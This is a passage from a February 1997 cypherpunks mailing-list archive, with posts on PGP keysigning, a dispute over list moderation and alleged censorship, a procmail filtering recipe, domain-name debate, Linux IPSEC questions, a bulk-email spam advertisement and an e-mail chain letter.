other people to start your own game! Just remember to have fun! From Ed.Falk at Eng.Sun.COM Fri Feb 7 15:50:30 1997 From: Ed.Falk at Eng.Sun.COM (Ed Falk) Date: Fri, 7 Feb 1997 15:50:30 -0800 (PST) Subject: ANNOUNCEMNT: February 1997 keysigning session Message-ID: <199702072349.PAA20677@peregrine.eng.sun.com> -----BEGIN PGP SIGNED MESSAGE----- We have enough people who want to have a PGP keysigning session at tommorrow's meeting to make it worthwhile. We'll probably be doing it at 17:00 or thereabouts. If you want to join in, let me know ASAP. Include your key or a pointer to where I can download it. -ed falk -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQBVAwUBMvu/eDLd6HIbO1jdAQFFRQIAire/x65aP/tlAiYRT+sP2YbztX45P07I Hk9YqDrW0Yd6sdYNtIvdl6MreklF5sI6++IcDH0nGs1Ifam1cNbEyA== =rWsE -----END PGP SIGNATURE----- From whgiii at amaranth.com Fri Feb 7 16:10:11 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Fri, 7 Feb 1997 16:10:11 -0800 (PST) Subject: Is Sandy really censoring criticisms of Stronghold, his product? In-Reply-To: Message-ID: <199702071813.SAA16692@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In , on 02/07/97 at 05:03 PM, "Timothy C. May" said: >I'm also neither stupid nor disingenuous. I realize full well that Vulis >probably made the claim because he knows Sandy works for the seller of >Stronghold. Be that as it may, it is not proper for a censor employed by the >seller of a product to decide that criticisms of his product are flamish. Would >the list have countenanced censorship of criticisms of an RSADSI product if the >list were being censored by an employee of RSADSI? And by letting Vulis make >such a claim, and then having it quickly rebutted by other employees of C2Net, >for example, Vulis would be shown to be spreading disinformation and his >reputation capital would decline still further. I had posted to the list earlier about the problem of moderation & reputation capital. I beleive that the moderation of a group has a negitive affect on building a reputation based system within the group. If all the spam & flames are filtered out from the list and we only see the "good" side of the posters then they will tend to gain greater reputation capital then they deserve. I do find the accusation that Sandy blocked the posting of a message critizing the company he works for rather troubling. Though there are several possibilities: 1 - It is just more FUD. 2 - Snafu. As I am sure everyone here is aware of that this happend more often than not with computer system. 3 - It's true. This would be realy sad and probably do irreparable harm to Sandy's reputation. I hope that it is #1 or #2 if it is #3 I doubt that I will stay any longer on the cypherpunks list. :( - -- - ----------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. Finger whgiii at amaranth.com for PGP Key and other info - ----------------------------------------------------------- Tag-O-Matic: I smashed a Window and saw... OS/2. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Registered User E-Secure v1.1 0000000 iQCVAwUBMvvFdI9Co1n+aLhhAQFiMAP/ayWg1hO7tBJz/CgQriPcRcKuDSLwzv+4 zZ7qJ+tcx3ULoubEBfBZ1q1+PfJ41Ka4668I1n5d8sOVt9Xw2iBY3F+46cpwZDDh 1Uz3Ybyw3giOPNQzxpw44/LmOz9RxPYUPERUDAxSfmgs4SG3845AXUCjRWaoiHbN 5c1iYu96OwQ= =Gjv3 -----END PGP SIGNATURE----- Tag-O-Matic: Windows? WINDOWS?!? Hahahahahehehehehohohoho... From minow at apple.com Fri Feb 7 16:56:00 1997 From: minow at apple.com (Martin Minow) Date: Fri, 7 Feb 1997 16:56:00 -0800 (PST) Subject: Crack a Mac and win a fortune. Message-ID: <199702080056.QAA05123@toad.com> A Swedish company, http://www.infinit.se/hacke/crack.html is offering a 10,000 Swedish Kronor reward to the first person to successfully attack (change information on) their web server. See their press release at http://www.infinit.se/hacke/release.html for details and the URL of the system to hack. Martin Minow minow at apple.com From bs-org at c2.net Fri Feb 7 16:56:23 1997 From: bs-org at c2.net (bs-org at c2.net) Date: Fri, 7 Feb 1997 16:56:23 -0800 (PST) Subject: lead remailer is shut down Message-ID: <199702080056.QAA05146@toad.com> At 11:58 1997-02-07 -0800, Ed Falk wrote: > >Can't remailers be written with basic spam safeguards? I.e. no mass >crossposts, limited # of posts by each individual client per day, etc.? Can anybody give me the address of reliable remailer which accepts pgp messages. BTW which remailer was shut down and why? From harka at nycmetro.com Fri Feb 7 16:56:24 1997 From: harka at nycmetro.com (harka at nycmetro.com) Date: Fri, 7 Feb 1997 16:56:24 -0800 (PST) Subject: Unix Network Monitor... Message-ID: <199702080056.QAA05147@toad.com> -----BEGIN PGP SIGNED MESSAGE----- For those, who might be interested... == Forwarded Message Follows ========================================= Subject: SOFT> The Big Brother Unix Network Monitor Date: Wed, 5 Feb 1997 13:26:51 -0600 From: sean at iti.qc.ca http://www.iti.qc.ca/iti/users/sean/bb-dnld/ Big Brother is a free web-based Unix network monitoring tool. It watches disk space, CPU loads, important processes, Web servers, and connectivity and can page you if something really horrible happens. Free. Includes all source code. Version 1.03 -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEUAgUBMvurZjltEBIEF0MBAQFPiQf3Tj6OUPexsGtM+OPwPzJA0LPnkGjT6xAB qKGDoOXuwbydvg9TQ8WuRqxYau/RucbjjDLeqcx+bsDBZMErsGy2SHN8wScjFsF/ G+60/0SRCFn9nSdqVOic7PL87Djtb9+m4/pPD+f3fWFeJ5o5sOePnkKyqwSKSSpy epxAR6dsb7KZQVsJM3khOqSjQcQf7zaCFYWEqxCft+qw5aaPU9HDXfmjY08uXHa6 DAUCT+gTIfZUdj4KzJKktS6AV+cSQGAPhsn7JrjrVMLcyv7BTcXEJ/yV2I3jEgwx sTP935MvfTYlvfq6dCFgOp/gs9oi2wC6kiQh6nEPHpHJ3yfFu3sv =twyY -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption... From sales at quantumcom.net Fri Feb 7 16:56:50 1997 From: sales at quantumcom.net (Quantum Communications) Date: Fri, 7 Feb 1997 16:56:50 -0800 (PST) Subject: Customers For You!!! Message-ID: <199702080056.QAA05200@toad.com> The following message has been brought to you by Quantum Communications. If you would like advertising rates and information, send an email to info at quantcom.com or visit our website http://www.quantcom.com If you prefer NOT to receive promotional messages inthe future, send an email to remove at quantcom.com Quantum Communications BULK EMAIL ADVERTISING SERVICE OFFERS: * GUARANTEED RESPONSE RATE! * HIGHEST QUALITY LIST (compiled 100% in-house, never bought or re-sold, continuously updated and maintained)! * WE SEND ALL MAIL! (never get shut off by your ISP!) * LARGEST DATABASE (over 5 million email addresses)! * LOWEST RATES IN THE INDUSTRY! * 100% APPROVED FINANCING (no credit checks - you are APPROVED)! * WE OFFER WEB PAGE HOSTING AND OTHER RELATED SERVICES AS WELL * COMPREHENSIVE SERVICES INCLUDED FREE OF CHARGE (email forwarding, flame filtering, autoresponders, copy design assistance)! * COMPLETE RANGE OF SERVICE OFFERINGS (stand-alone bulk email, co-op "MEGA-MAILER", custom-built targeted mailings)! * REFERENCES FROM HAPPY CLIENTS! * VISIT OUR WEB SITE AT http://www.quantcom.com For complete details on our services, pricing, no-nonsense response guarantee, and all other pertinent info, call our sales department @ (603) 772-4096, or send an email to info at quantcom.com. When requesting info via email, please be sure to include your voice phone # and best time to call, unless you would prefer not to be contacted via telephone to follow up. From markm at voicenet.com Fri Feb 7 16:56:51 1997 From: markm at voicenet.com (Mark M.) Date: Fri, 7 Feb 1997 16:56:51 -0800 (PST) Subject: faulty moderation software: duplicate messages Message-ID: <199702080056.QAA05201@toad.com> -----BEGIN PGP SIGNED MESSAGE----- All messages with "Sender: owner-cypherpunks-unedited at toad.com" are received from the flames list. The difference between the unedited and moderated lists is that the moderated list changes the message ID, appending toad.com, and deletes all received headers before "majordom at localhost.*by toad.com". None of the messages are being doubled; this is just the result of buggy software Here's the recipe I use to filter out the three separate lists: :0 * ^Sender: owner-cypherpunks.*@toad.com { :0 * ^Sender: owner-cypherpunks-unedited at toad.com flames :0 * -1^1 ^Received: * 3^1 ^Received:.*from majordom at localhost.*by toad.com * ^Message-Id:.*toad.com in.cpunks :0 unedited } -----BEGIN PGP SIGNATURE----- Version: 2.6.3 Charset: noconv iQEVAwUBMvuzrSzIPc7jvyFpAQFSywf/YqoJLI6crxcL9qJO/CXJKWMy5NCwilIX ZNgt5YkhMUpOzGtFLEYXdiw2XVisS0fWy2X7rGul7+BYYuVAM2tnOTKWuavufJXe KhIp41KKHe7dFWDarm5VwCt7pulRM4xVinpu0+T8M/1wfRLbC4bctJXGMSYSM9Pz U+IBqSbi3MkrE3lAwJtirvC3qDgQXvLqHQRVwYkv8wmVoQXGKCGuiM4YEu3TamvH bBPEPHfh7gbtVtBFiUri7jtGLHv6kROb0/wuREgkxHd0wLld/3L7GRClIgy8b+1K 6TeuoO32SA6tp+a9yytQUuf/WvueGdFSbLwXHozMvRu5+WOcqa8Hbw== =MQlk -----END PGP SIGNATURE----- From isptv at access.digex.net Fri Feb 7 16:56:55 1997 From: isptv at access.digex.net (ISP-TV Main Contact) Date: Fri, 7 Feb 1997 16:56:55 -0800 (PST) Subject: Ken Bass (counsel for Phil Karn) Interviewed on "Real Time" Monday Message-ID: <199702080056.QAA05202@toad.com> *** ISP-TV Program Announcement: Ken Bass (counsel for Phil Karn) interviewed live on "Real Time" *** *** Monday, Jan. 27 *** *** 9:00 PM ET *** Ken Bass is a partner in the firm of Venable, Baetjer, Howard & Civiletti, LLP, and is the head of that firm's Appellate Practice Group. Recently Venable served as counsel to Phil Karn during his dispute with the Department of State concerning export of a diskette containing the source code for cryptographic algorithms published in the book _Applied_ _Cryptography_, having already received permission to export the book. For the past 20 years Bass has practiced law in the Washington, D.C. metropolitan area, concentrating in civil litigation and appellate advocacy. From 1977 until 1981 he left private practice to serve as the first Counsel for Intelligence Policy at the Department of Justice. In that position he advised the Attorney General and the White House on the legal aspects of a variety of intelligence and national security matters. He also has served as a Special Master in a FOIA litigation in the United States District Court for the District of Columbia to review code word classified files concerning the Iran hostage rescue mission for Judge Louis Oberdorfer. Call-in questions will be taken during the show at (301) 847-6571. **** This video interview can be viewed on the ISP-TV main CU-SeeMe reflector at IP 205.197.248.54, or other ISP-TV affiliate reflectors listed at http://isptv.digex.net/members.html. See URL http://isptv.digex.net for more information about the ISP-TV Network To get email about future programming on ISP-TV, email the word "subscribe" to isptv-prog-request at isptv.digex.net. To obtain Enhanced CU-SeeMe software, go to: http://goliath.wpine.com/cudownload.htm From dsmith at prairienet.org Fri Feb 7 16:56:58 1997 From: dsmith at prairienet.org (David E. Smith) Date: Fri, 7 Feb 1997 16:56:58 -0800 (PST) Subject: Metzger, Denninger square off Message-ID: <199702080056.QAA05207@toad.com> -----BEGIN PGP SIGNED MESSAGE----- At 01:24 PM 2/7/97 -0500, you wrote: >[Forwarded from Wired news. Let's cut to the chase: Which side is in the >right? Who can tell me, in plain and simple language, who is fighting for >individual freedom and property rights, and who is not?] Hee... I think they're both just after money. > 5:01 pm PST 6 Feb 97 - A proposal by the International Ad Hoc > Committee (IAHC) to expand the number of Internet top-level domain > names is stirring opposition among alternative domain name providers. Well, of course. AlterNIC does charge a few bucks for registering in some of their TLDs. I'm not sure about the other alternative-name servers, but somehow I doubt it's a charity program. And of course we all know about InterNIC's cash cow... [the proposed new TLDs] .firm .store Somehow, these two look rather similar to me. .web Actually a good idea :) A lot of the .com congestion is from companies that are virtually-hosted for the sole purpose of running a Web site with the www. prefix. .arts .rec .info How many of these would fit into the .org (or even .us) domains? .nom Nah. Just not classy enough. Now, a .nym TLD... :-) > They also think the new domain names will "fragment" the > Internet, leaving some users unable to communicate with others, if a > server does not recognize the name request. How so? AlterNIC et al. aren't exactly globally recognized anyway. If we're going to have more TLDs, it's at least less "bad" to have them coming from the place where names have been coming from anyway (InterNIC). No matter what, it'll be a long time before _any_ new TLDs are universally recognized, just because somewhere, someone's sysadmin is asleep at the wheel. (Probably at my ISP :) dave -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAwUBMvuybnEZTZHwCEpFAQGKFwf5AbWTx3mWlJ7QOsHnegxAb9Q9y5Dhi1EH If7qLWlZYPerjmWlSE72isintDADDdh81d9xyPJ1kYtR9KRE5p0WAbL5pf2sl6eT g7Z1LzS449cHesEmoSATeaDc0I0kqKVAxVUNyJxfraf6gGGquw2EpLtKZME6tV8o ESZEkXFp5bdKC3+Vf1PiuTixjnpDrgUhNshUB0xCKFDgYqGGAEoKSVO8cEYWNE4o VAH7eH537etNjnnE/r15BxHt9I3BxEU5lxM8/cuwpHKOSouGnghpLyAB426gllc4 PZNj6WhM/trkUkBj3BBWduB8DR4gwhPl71g1665IyLWMDpOLeItSpA== =4zWF -----END PGP SIGNATURE----- From azur at netcom.com Fri Feb 7 16:57:42 1997 From: azur at netcom.com (Steve Schear) Date: Fri, 7 Feb 1997 16:57:42 -0800 (PST) Subject: IEEE Communications Message-ID: <199702080057.QAA05227@toad.com> >A friend called this evening to let me know the February issue is dedicated >to electronic cash and its implications. I'm no longer an IEEE member. If >any of the various list members care to excerpt and comment on some of the >more interesting portions, I'm sure it would be appreciated. > >--Steve Correction: It's the February issue of IEE Spectrum, subtitled "Technology and the Electronic Economy." --Steve From dsmith at prairienet.org Fri Feb 7 16:58:37 1997 From: dsmith at prairienet.org (David E. Smith) Date: Fri, 7 Feb 1997 16:58:37 -0800 (PST) Subject: automated moderation system Message-ID: <199702080058.QAA05252@toad.com> -----BEGIN PGP SIGNED MESSAGE----- At 01:15 PM 2/7/97 -0800, you wrote: [... re: a auto moderations system...] >now, the mailing list works as follows. people always receive >posts from people they put on their "pass" lists. mail from >entities on their "zap" lists is always trashed. This much, you can do on your own. Just filter "zap" messages to /dev/null or somesuch. (But I see its purpose; keep reading.) [... using other's pass/zap lists as reputation markers...] It's a good idea in theory, but would put a lot of load on the server. For every message * every list subscriber, it has to _at_least_ look up the pass/zap criteria, and possibly do some number- crunching based on the whole database of pass/zap lists, and keep track of how long each message has been sitting in the queue and its ratings by other people. Also, Mallet could skew the reputations by subscribing with a dozen other addresses (which M. created just to get the extra "votes"), decide to have all of them "zap" Alice, and then Bob might never see Alice's intelligent and thoughtful messages. (Presumably, Mallet keeps the bogus addresses subscribed, just dumping all mail into the bitbucket; any user who leaves the list shouldn't have any weight in the calculations any longer.) This also doesn't even address anonymous remailers; Chuck and Dave might both use the same remailer, even though Chuck only posts good, meaningful messages (in whatever context) and Dave only posts flaming ASCII art :) dave (who doesn't post flaming ascii art, honest) -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAwUBMvuwDnEZTZHwCEpFAQHZMwf+MNIyeFS53QW4LxZzvitFi259xEso3bXT WXfAqJx7pF8aefZ7U2hBEwPzFyBR5fJWrn4Vekpl6ZK82xJsU2x6Az9+I2D1TYH/ dMAar9S+GcPPlyJ5QegWQ04VopmGzGvDZ69lL1mkJZnl9RT3jWOdVBcmUUUSqrsz LMGdVxrglx1QIkoZu/P69RheK37HJHiTG6pSokQRQPqyU2VVEwg44yJDicPfjlke raBLk6EiA6tJ2azKMshEBLm00EjGSHLmstRDqE8x6kb2WMMgCchL9KIe9XIz7fCN o0L8fTZMME7ZF82/sacnUnzdK6sJ5oAtmgUiT7cZm7Jqo3WU0OmUOw== =mSMn -----END PGP SIGNATURE----- From Ed.Falk at Eng.Sun.COM Fri Feb 7 16:59:04 1997 From: Ed.Falk at Eng.Sun.COM (Ed Falk) Date: Fri, 7 Feb 1997 16:59:04 -0800 (PST) Subject: ANNOUNCEMNT: February 1997 keysigning session Message-ID: <199702080059.QAA05278@toad.com> -----BEGIN PGP SIGNED MESSAGE----- We have enough people who want to have a PGP keysigning session at tommorrow's meeting to make it worthwhile. We'll probably be doing it at 17:00 or thereabouts. If you want to join in, let me know ASAP. Include your key or a pointer to where I can download it. -ed falk -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQBVAwUBMvu/eDLd6HIbO1jdAQFFRQIAire/x65aP/tlAiYRT+sP2YbztX45P07I Hk9YqDrW0Yd6sdYNtIvdl6MreklF5sI6++IcDH0nGs1Ifam1cNbEyA== =rWsE -----END PGP SIGNATURE----- From foolswisdom at juno.com Fri Feb 7 16:59:29 1997 From: foolswisdom at juno.com (My Account) Date: Fri, 7 Feb 1997 16:59:29 -0800 (PST) Subject: No Subject Message-ID: <199702080059.QAA05303@toad.com> IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII TTTTTTTTTTTTTTTTTTTTTT !!!!!!!!!!!!!!!!IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII TTTTTTTTTTTTTTTTTTTTTT !!!!!!!!!!!!!!!! IIIIIIIIIIIIIII TTTTTTTT !!!!!!!!!!!!!!!! IIIIIIIIIIIIIII TTTTTTTT !!!!!!!!!!!!!!!! IIIIIIIIIIIIIII TTTTTTTT !!!!!!!!!!!!!!!! IIIIIIIIIIIIIII TTTTTTTT !!!!!!!!!!!!!!!! IIIIIIIIIIIIIII TTTTTTTT !!!!!!!!!!!!!!!! IIIIIIIIIIIIIII TTTTTTTT !!!!!!!!!!!!!!!! IIIIIIIIIIIIIII TTTTTTTT !!!!!!!!!!!!!!!! IIIIIIIIIIIIIII TTTTTTTT !!!!!!!!!!!!!!!! IIIIIIIIIIIIIII TTTTTTTT !!!!!!!!!!!!!!!! IIIIIIIIIIIIIII TTTTTTTT IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII TTTTTTTT !!!!!!!!!!!!!!!!IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII TTTTTTTT !!!!!!!!!!!!!!!! *************************************************************************************** *** TAG, YOU' RE IT !!!!!! *** ***************************************************************************************You have been a victim in The Great E-mail Game of Tag! There are no tagbacks, and you must send this to someone else to rid yourself of being it!Send this to friends, classmates, co-workers, famous people, jerks, orfools. Send another copy to other people to start your own game! Just remember to have fun! From jya at pipeline.com Fri Feb 7 17:06:01 1997 From: jya at pipeline.com (John Young) Date: Fri, 7 Feb 1997 17:06:01 -0800 (PST) Subject: BXA Encryption Regs Message-ID: <1.5.4.32.19970208010019.0068b980@pop.pipeline.com> Federal Register: February 7, 1997, Page 5797-5798: Bureau of Export Administration Sensors and Instrumentation Technical Advisory Committee; Partially Closed Meeting A meeting will be held March 4, 1997, 9 a.m., in the Herbert C. Hoover Building, Room 1617M-2, 14th Street between Constitution and Pennsylvania Avenues, N.W., Washington, DC. Agenda, General Session 1. Opening remarks by the Chairman. 2. Report on the status of The Wassenaar Arrangement. 3. Discussion on the Encryption Reg. 4. Presentation of papers or comments by the public. ---------- A bit more on this in the full notice at: http://jya.com/bxa020797.txt ---------- Note: February 13 is the cutoff for comments on EAR for EI: http://jya.com/bxa123096.txt From rodney at sabletech.com Fri Feb 7 17:10:53 1997 From: rodney at sabletech.com (Rodney Thayer) Date: Fri, 7 Feb 1997 17:10:53 -0800 (PST) Subject: is there a FAQ Message-ID: <199702080110.RAA05600@toad.com> I am trying to run IPSEC on Linux and I have questions. Before I ask, is there an FAQ? Rodney Thayer +1 617 332 7292 Sable Technology Corp, 246 Walnut St., Newton MA 02160 USA Fax: +1 617 332 7970 http://www.shore.net/~sable "Developers of communications software" From hugh at far.toad.com Fri Feb 7 17:16:06 1997 From: hugh at far.toad.com (Hugh Daniel) Date: Fri, 7 Feb 1997 17:16:06 -0800 (PST) Subject: is there a FAQ Message-ID: <199702080116.RAA05754@toad.com> Currently the only documentation for the Linux IPSEC is the INSTALL file. There is no FAQ. If someone from a free country (not the one controled by the USG gang) is interested in writing some doc or a FAQ that would be great! I am working on getting 3DES working (it's in the ipsec-0.4 code base, but no doc on how to configure it!) now and could use more documentation my self. ||ugh Daniel Linux FreeSWAN Project hugh at toad.com From ichudov at algebra.com Fri Feb 7 17:17:26 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Fri, 7 Feb 1997 17:17:26 -0800 (PST) Subject: Sandy suppresses truth about his moderation policy Message-ID: <199702080114.TAA06881@manifold.algebra.com> Below are some interesting facts implying that: 1) Sandy uses a bot to reject articles of people he does not like 2) When I exposed him with an article showing all Received: dates, he a) rejected the article exposing him and b) changed his moderation software so that Received: headers for the cypherpunks-flames do not show the times when messages came in 3) Sandy apologized to Tim May for rejecting one of Vulis's articles, and yet he rejects my message quoting same article. I question how genuine were his apologies to Tim. At this point, I have enough data to conclude that * Sandy is not a good moderator * Sandy does not have the interests of his readership in his mind * Sandy should not be trusted At this point, two events are likely to happen: either moderation ceases, or Sandy and John will pull the plug on the unedited and flames list. - Igor. $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ Note that there are no more incoming Received: lines in the message that went to flames, BUT yesterday the received lines were there. Note also that my address (From: line) has been rewritten in such a way that my name disappeared. I believe that the latter is due to a sloppy perl script that got screwed up by presence of "@" character in my name. $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ Received: (from geek at localhost) by manifold.algebra.com (8.8.3/8.8.2) id SAA06751 for ichudov; Fri, 7 Feb 1997 18:57:04 -0600 Received: (from root at localhost) by manifold.algebra.com (8.8.3/8.8.2) with UUCP id JAA03038 for geek+test+cypherpunks-flames at algebra.com; Fri, 7 Feb 1997 09:12:23 -0600 Received: from toad.com (toad.com [140.174.2.1]) by www.video-collage.com (8.8.5/8.8.0) with ESMTP id KAA16283 for ; Fri, 7 Feb 1997 10:11:26 -0500 (EST) Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id HAA24873; Fri, 7 Feb 1997 07:11:59 -0800 (PST) Message-Id: <199702071511.HAA24873 at toad.com> Date: Fri, 7 Feb 1997 01:34:36 -0600 (CST) From: ichudov at algebra.com To: Cypherpunks , tcmay at got.net Subject: Re: anonymous remailers Sender: geek at algebra.com Precedence: bulk Status: RO [I am sending a copy of my article to Tim just to make sure] Sandy Sandfort wrote: > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > SANDY SANDFORT > . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . > > C'punks, > > On Thu, 6 Feb 1997, Timothy C. May wrote: > > > Why was this message (attached below) sent to the "Flames" list? (*) It > > contains an assertion that the remailer operators are colluding to reveal > > identities, and this is surely a fit topic for discussion. > > > > (* I have temporarily subscribed to the Flames list to see just what it is > > being filtered or censored by Sandy. I received this message, and it had > > the header "Sender: owner-cypherpunks-unedited at toad.com," thus I surmise it > > is a "Flames" message. It would help, by the way, if messages were more > > clearly labelled by the Moderator as to which bucket he placed them in.) > > Currently, there are three lists. It looks as though the message > in question appeared on the Unedited list. This is NOT the same > as the Flames list. > > I don't recall where I sorted that particular post to after I > read it on the Unedited list. If it went to the "wrong" list, > my apologies to the author. As I indicated before, I don't think I am attaching Vulis's posting below, so that the mistake could be corrected. Judging by the dates in the headers, it went to flames list in 3 seconds after arrival to toad.com. That makes me think that somehow it got routed there without human involvement. > a 100% solution is possible, but I think I'm running in the high > 90s under the criteria I enunciated. Not perfection, but a > definite improvement over the prior condition. I see three problems with the current state of the list: 1) There is no charter and no criteria that I am aware of, so your 90% statement is meaningless 2) Moderation policy has not been set (or voted upon) by the readers, therefore it was not optimised to serve the readers 3) Crypto-relevant posts, not containing any flames, get rejected. >From cypherpunks-errors at toad.com Thu Feb 6 22:20:35 1997 Return-Path: Received: (from root at localhost) by manifold.algebra.com (8.8.3/8.8.2) with UUCP id WAA12996; Thu, 6 Feb 1997 22:20:29 -0600 Received: from toad.com (toad.com [140.174.2.1]) by www.video-collage.com (8.8.5/8.8.0) with ESMTP id XAA01326; Thu, 6 Feb 1997 23:14:12 -0500 (EST) Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id UAA08550; Thu, 6 Feb 1997 20:13:50 -0800 (PST) Received: from uu.psi.com (uu.psi.com [38.9.86.2]) by toad.com (8.7.5/8.7.3) with SMTP id UAA08545; Thu, 6 Feb 1997 20:13:47 -0800 (PST) Received: by uu.psi.com (5.65b/4.0.061193-PSI/PSINet) via UUCP; id AA07700 for ; Thu, 6 Feb 97 23:07:09 -0500 Received: by bwalk.dm.com (1.65/waf) via UUCP; Thu, 06 Feb 97 22:24:48 EST for cypherpunks at toad.com To: cypherpunks at toad.com Subject: Re: anonymous remailers From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Comments: All power to the ZOG! Message-Id: Date: Thu, 06 Feb 97 22:22:05 EST In-Reply-To: <32fa39d8.16371604 at mail-relay.internetmci.com> Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y. Sender: owner-cypherpunks at toad.com Precedence: bulk Status: RO c.musselman at internetmci.com (Charley Musselman) writes: > C'punks -- > When I told a friend about the alt.drugs.pot cultivation newsgroup > and suggested that he use an anonymous remailer to post to the group, > he laughed and said, "Who do you suppose runs the remailers? ATF, > FBI, DEA, that's who!" Gee, it makes sense to this paranoid. Does > anyone know the answer? Specifically, how can we choose a trusted > remailer? Even if the feds are not directtly involved, the so-called "cypher punk" remailers are run by people who should not be trusted. Check out their remailer-operators list: it's full of announcements that some specific person posted something via the remailer that the operator didn't like. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From EALLENSMITH at ocelot.Rutgers.EDU Fri Feb 7 18:00:32 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Fri, 7 Feb 1997 18:00:32 -0800 (PST) Subject: My messages not appearing on either of the lists? Message-ID: <01IF5CJ0Z2MO9AN53S@mbcl.rutgers.edu> From: IN%"mpd at netcom.com" "Mike Duvos" 7-FEB-1997 20:56:39.36 >That's all very nice, but I should point out that I have not yet >seen my message to which you are responding on the filtered list. >Others mileage may vary. IIRC, Majordomo sends out messages _approximately_ in the order of the person's subscription. In any event, it has to send them out in _some_ order, and on a mailing list as large as cypherpunks, it's going to take a while to get from one end to the other. -Allen From dthorn at gte.net Fri Feb 7 18:28:55 1997 From: dthorn at gte.net (Dale Thorn) Date: Fri, 7 Feb 1997 18:28:55 -0800 (PST) Subject: Is Sandy really censoring criticisms of Stronghold, his product? In-Reply-To: Message-ID: <32FBE498.B89@gte.net> Timothy C. May wrote: > At 10:07 PM +0000 2/7/97, Against Moderation wrote: > >Okay, I went through my old mail, and I'm fairly sure this is the > >message. I'm convinced it never went to the flames list, and now that > >I've found out I'm on the -unedited list after all, I think it > >probably didn't go to the regular cypherpunks list either. Can people > >on the various lists confirm this for me? > >A lot of people out there are subscribing to the cypherpunks-flames > >and cypherpunks lists thinking that they will see everything that gets > >rejected (albeit with a substantial delay). If this is not the case, > >it should be made clear. Otherwise, it's not moderation, but > >dishonesty. Normally I'd address just the list, but in this case I'm sure you'll understand. Check the archives of Sandy's moderation announcements, and I believe you'll see where he claimed that although *all* messages would make it to the -unedited list, he admitted that some of those would not make it to either the -edited or -flames lists, due to the anomalies of hand-editing. From hanabusa at bnn-net.or.jp Fri Feb 7 18:39:02 1997 From: hanabusa at bnn-net.or.jp (Sh.Hanabusa) Date: Fri, 7 Feb 1997 18:39:02 -0800 (PST) Subject: Dear Cypherpunks /from NHK Clew Message-ID: <199702080238.LAA26138@Postbox.BNN-Net.OR.JP> Dear Cypherpunks, We are a film crew from NHK, Japanese Public Television (Japan's largest TV network). As you may have all seen the announcement posting, we would like to attend tomorrow's CP physical meeting for filming. We consider the "Crypto War" you are all fighting, not only a U.S domestic issue. It is a historic process which would effect the basic order/system of the global network society for the 21st century. In the midst of the ongoing changes of the idea of how a nation, a corporation and an individual ought to be, we would like to portray your assertions and proposals through the discussions of tomorrow's CP meeting, demonstrations, speeches and booings(just kidding..). We assure you all that we will do our best not be of your distractions. (I know you won't, but) I hope you don't show up with a tie and a three piece suit just because you'll be on TV... ;-) We look forward to the usual (or perhaps more than ever) Cypherpunkish meeting tomorrow! _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ Shuichiro Hanabusa (hanabusa at bnn-net.or.jp) Producer/Special Programs NHK Enterprises 21 Inc. Location: San Mateo/Carifornia _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ From jya at pipeline.com Fri Feb 7 19:04:53 1997 From: jya at pipeline.com (John Young) Date: Fri, 7 Feb 1997 19:04:53 -0800 (PST) Subject: Brassard on Grover's Shake Message-ID: <1.5.4.32.19970208025912.006a41a8@pop.pipeline.com> Gilles Brassard writes on Grover's "quantum shake" searching algorithm, demonstrates how it would break DES, and assays the promise of QC research. He notes that enviable NSA funds favor LAQC. ----- http://jya.com/qshake.htm From dthorn at gte.net Fri Feb 7 19:07:31 1997 From: dthorn at gte.net (Dale Thorn) Date: Fri, 7 Feb 1997 19:07:31 -0800 (PST) Subject: Dear Cypherpunks /from NHK Clew In-Reply-To: <199702080238.LAA26138@Postbox.BNN-Net.OR.JP> Message-ID: <32FBED8F.15FD@gte.net> I'm sorry I can't drive the 500 miles to the meeting, but in Los Angeles, the USA's #2 city, there are NO meetings. Sad but true. People in Los Angeles just don't comply with censorship as well as those in the Bay Area, apparently. Anyway, please don't base the whole story on what goes on at the meeting, since the people who show up at the meeting are the ones who most agree with John and Sandy. Do you know what I mean? There's an assumption in the USA, which even the cypherpunks share, that the rogue elements of the government are to be considered "innocent until proven guilty", even after the fact when they are caught and never prosecuted. Someday, when we have enough research data on this current series of events, we will be able to expose the money trail which demonstrates the motivations of the "list" owners. In the meantime, I trust you'll not be taken in by the sweet-talk you'll get in San Francisco. Sh.Hanabusa wrote: > We are a film crew from NHK, Japanese Public Television (Japan's largest > TV network). As you may have all seen the announcement posting, we would > like to attend tomorrow's CP physical meeting for filming. > We consider the "Crypto War" you are all fighting, not only a U.S domestic > issue. It is a historic process which would effect the basic order/system > of the global network society for the 21st century. > In the midst of the ongoing changes of the idea of how a 